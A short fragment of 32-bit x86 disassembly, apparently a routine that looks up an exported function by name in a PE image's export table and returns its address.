mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x431ed5
mov ecx, ebx
lea ebx, [ebx]
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x431ed0
mov eax, dword [esp + 0x24]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x431ebb
test dl, dl
je 0x431eb7
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x431ebb
add ecx, 2
add eax, 2
test dl, dl
jne 0x431e9b
xor eax, eax
jmp 0x431ec0
sbb eax, eax
or eax, 1
test eax, eax
je 0x431ee1
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x20]
inc esi
cmp esi, eax
jb 0x431e88
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0xc
ret 8
mov eax, dword [esp + 0x18]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0xc
ret 8